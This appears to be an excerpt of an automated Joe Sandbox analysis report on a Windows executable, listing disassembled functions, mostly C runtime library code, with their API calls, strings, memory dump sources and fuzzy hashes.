Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction ID: 5835e015de09c4cc1f53331febaa62aeb6779b48f58b4a69f4cd00ff2e5db2ca
Opcode Fuzzy Hash: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction Fuzzy Hash: 3D219876900108AFCB41EF95C881DDE7FB9BF48344B0445ABB6199B121EB75DA84CB84

Function 0041A609 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 0041A622

Strings

sqrt, xrefs: 0041A761
pow, xrefs: 0041A6C0, 0041A76A, 0041A7B7
log10, xrefs: 0041A664, 0041A673
exp, xrefs: 0041A6A1, 0041A706
acos, xrefs: 0041A758
log, xrefs: 0041A67F, 0041A68E
asin, xrefs: 0041A74F

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction ID: 98f7bf46ea2d04c7b06ac9836e821450726948aa73f1de9436264de5739e925b
Opcode Fuzzy Hash: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction Fuzzy Hash: 5651ACB490121ACBDF109FA8E94C1EEBBB0FB05300F554047D4A1A62A5C77CCAF68B5E

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 10004287
csm, xrefs: 1000416E
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 04B492EF Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,04B492CD), ref: 04B492FB
GetModuleHandleW.KERNEL32(0041DFB8,?,?,04B492CD), ref: 04B49306
GetModuleHandleW.KERNEL32(0041DFFC,?,?,04B492CD), ref: 04B49317
GetProcAddress.KERNEL32(00000000,0041E018), ref: 04B49329
GetProcAddress.KERNEL32(00000000,0041E034), ref: 04B49337
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B492CD), ref: 04B4935A
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 04B49376
CloseHandle.KERNEL32(0042AF60,?,?,04B492CD), ref: 04B49386

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: 096d5d5beab73883d0c31ded6276062fec5c07aa1a4af502f75caaa1d3304148
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 0B01B5F1F40321ABD7202F74AD09B9B3BA8EBCDB11B594071FD05D21A4DBACD4019A6A

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 04CF9FE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04CFA017
___except_validate_context_record.LIBVCRUNTIME ref: 04CFA01F
_ValidateLocalCookies.LIBCMT ref: 04CFA0A8
__IsNonwritableInCurrentImage.LIBCMT ref: 04CFA0D3
_ValidateLocalCookies.LIBCMT ref: 04CFA128

Strings

csm, xrefs: 04CFA0BD

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 02ed3da176320049f94a72230680090ba0795208dd5a9570a4d9163b30b2759e
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 4B41E534A00208EFDF50DF68DC84A9EBBB6EF45318F148055EE199B391D73ABA15CB91

Function 0040ABE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AC17
___except_validate_context_record.LIBVCRUNTIME ref: 0040AC1F
_ValidateLocalCookies.LIBCMT ref: 0040ACA8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040ACD3
_ValidateLocalCookies.LIBCMT ref: 0040AD28

Strings

csm, xrefs: 0040ACBD

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 3b4537d877df667a26a5f7af8fbb8c140355993206fc9854477fa74853602e25
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 5E41E634A003089BDF10DF69C844A9FBBB1EF45318F14806AEC156B3D2C7399A65CBDA

Function 0041611C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

obA, xrefs: 0041616D
C:\Users\user\Desktop\dI3n4LSHB7.exe, xrefs: 00416121

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\dI3n4LSHB7.exe$obA
API String ID: 0-160033671
Opcode ID: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction ID: d8f7faa714452712b8dd2e2ad71d7e848a624b740a48fc3c62d8856f0a647b07
Opcode Fuzzy Hash: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction Fuzzy Hash: E321F971600219BFDB20AF668C81DAB776DEF00368712863BFD15D7291D738ED8187A8

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00411B4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00411BA1
ext-ms-, xrefs: 00411BB5

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: 9472c79033c58d28bd5fab4bb402529842eae37fc53cf50cf89856cde478e707
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 1F21D571E09221ABCB218B259C44BDB3758AF017A4F254527EE06A73A0F63CFC41C6E8

Function 04D06482 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 04D0644A: _free.LIBCMT ref: 04D0646F

_free.LIBCMT ref: 04D064D0
_free.LIBCMT ref: 04D064DB
_free.LIBCMT ref: 04D064E6
_free.LIBCMT ref: 04D0653A
_free.LIBCMT ref: 04D06545
_free.LIBCMT ref: 04D06550
_free.LIBCMT ref: 04D0655B

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: ac17cb0af868b7526b005f1881a5d85344935facab28da11e2c1ee98c68393b6
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: 17113D72785B04BAE721BBB0CC06FCB779CEF04708F40C819A69A670D1DA69F5558661

Function 04B572E9 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04B572B1: _free.LIBCMT ref: 04B572D6

_free.LIBCMT ref: 04B57337

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B57342
_free.LIBCMT ref: 04B5734D
_free.LIBCMT ref: 04B573A1
_free.LIBCMT ref: 04B573AC
_free.LIBCMT ref: 04B573B7
_free.LIBCMT ref: 04B573C2

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: f3638e34a91a9eb389efc8ebeddf53615fc296e693e6a5b1e9022694aa798f79
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: C1117F31A50B08BAE920B7B1DC05FCBF79CEF05704F800858FBAD760B0DA66B5145660

Function 00417082 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041704A: _free.LIBCMT ref: 0041706F

_free.LIBCMT ref: 004170D0

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 004170DB
_free.LIBCMT ref: 004170E6
_free.LIBCMT ref: 0041713A
_free.LIBCMT ref: 00417145
_free.LIBCMT ref: 00417150
_free.LIBCMT ref: 0041715B

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction ID: 17f1ba636a3ac0ac971b1a3f484e478362915a153c89e36741bf365215ef3bb6
Opcode Fuzzy Hash: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction Fuzzy Hash: 9C118EB2585744B6D520B772CC06FCB7BEC6F48304F40481FB69E66063EA2CAAC04645

Function 04B57F3A Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,00000000), ref: 04B57F82
__fassign.LIBCMT ref: 04B58161
__fassign.LIBCMT ref: 04B5817E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B581C6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B58206
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B582B2

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction ID: 8606dff038d5312d631dc210a50766c7e4134fa67084ac058c82fc762aa38f79
Opcode Fuzzy Hash: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction Fuzzy Hash: ACD1C970E016489FDF11DFE8D880AEDFBB5FF48304F2840AAE815BB261D631A952CB50

Function 00417CD3 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000020,00000000,00000000), ref: 00417D1B
__fassign.LIBCMT ref: 00417EFA
__fassign.LIBCMT ref: 00417F17
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F5F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00417F9F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041804B

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction ID: bf6bde338aaa4c5312f696cbfa7b8c1c2da82e764b9ff6896d8d464e3c4a4b13
Opcode Fuzzy Hash: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction Fuzzy Hash: 13D19C71E042589FCF15CFA8C9809EEBBB5FF49314F29006AE815BB341D735A986CB58

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04B4B00B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B4B002,04B4A5C6,04B49C00), ref: 04B4B019
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B4B027
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B4B040
SetLastError.KERNEL32(00000000,04B4B002,04B4A5C6,04B49C00), ref: 04B4B092

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: 5d97d5de8773b9d009742cf9eef0d20d8d296e21d72a888fe39dd23c57b746e0
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 9D01AC3270D3116FBB346FB47C849762B54EB8167A72102B9F724562E1EF59F8127144

Function 0040ADA4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040AD9B,0040A35F,00409999), ref: 0040ADB2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ADC0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ADD9
SetLastError.KERNEL32(00000000,0040AD9B,0040A35F,00409999), ref: 0040AE2B

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: f4b61bc4878066cd9e5532c4ff7823403916b0aca9ffed94e046062e6da044f3
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6201D8722493125FE6342A76BC459572A54EB51779720033FF910B71E2EF3D4C32558E

Function 04B56383 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\dI3n4LSHB7.exe, xrefs: 04B56388

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\dI3n4LSHB7.exe
API String ID: 0-2740803753
Opcode ID: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction ID: f552e073e65239589d6095b5991a64c7f020a132d82bace3d2b8a8f69f5e1887
Opcode Fuzzy Hash: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction Fuzzy Hash: 7221D471600105BFEB20BF698C80E6BB7ADEF402A874185A4FD2DC7260E731FC519760

Function 0040BE17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BED8,?,?,0042B000,00000000,?,0040C003,00000004,InitializeCriticalSectionEx,0041EAF4,InitializeCriticalSectionEx,00000000), ref: 0040BEA7

Strings

api-ms-, xrefs: 0040BE67

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: 1d2ba87bd7351691bab4046b775a4f225d6c09ed93031ba1482b23a36008251d
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: 1B11C135A41620ABCB228B68DC45BDA7794EF02760F114632EE05B73C0D778EC058ADD

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

CorExitProcess, xrefs: 10005FCA
mscoree.dll, xrefs: 10005FB8

